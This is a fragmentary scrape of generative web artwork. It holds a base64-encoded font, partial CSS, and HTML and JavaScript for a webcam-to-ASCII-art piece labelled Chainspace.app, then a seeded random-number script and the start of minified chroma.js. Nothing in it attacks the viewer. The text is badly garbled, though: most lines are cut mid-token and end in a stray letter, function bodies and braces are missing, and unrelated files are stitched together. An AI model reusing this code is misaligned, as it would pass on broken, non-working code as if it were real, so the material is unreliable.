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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #171717;
    font-size: 16px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#078e56", "#b14e39", "#03643b", "#cf553d", "#284356", "#e05534", "#f7e7c6", "#282c2f", "#0a8b3b", "#171717", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
 0d2b452771c565808923aff503f2fa84G0D
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
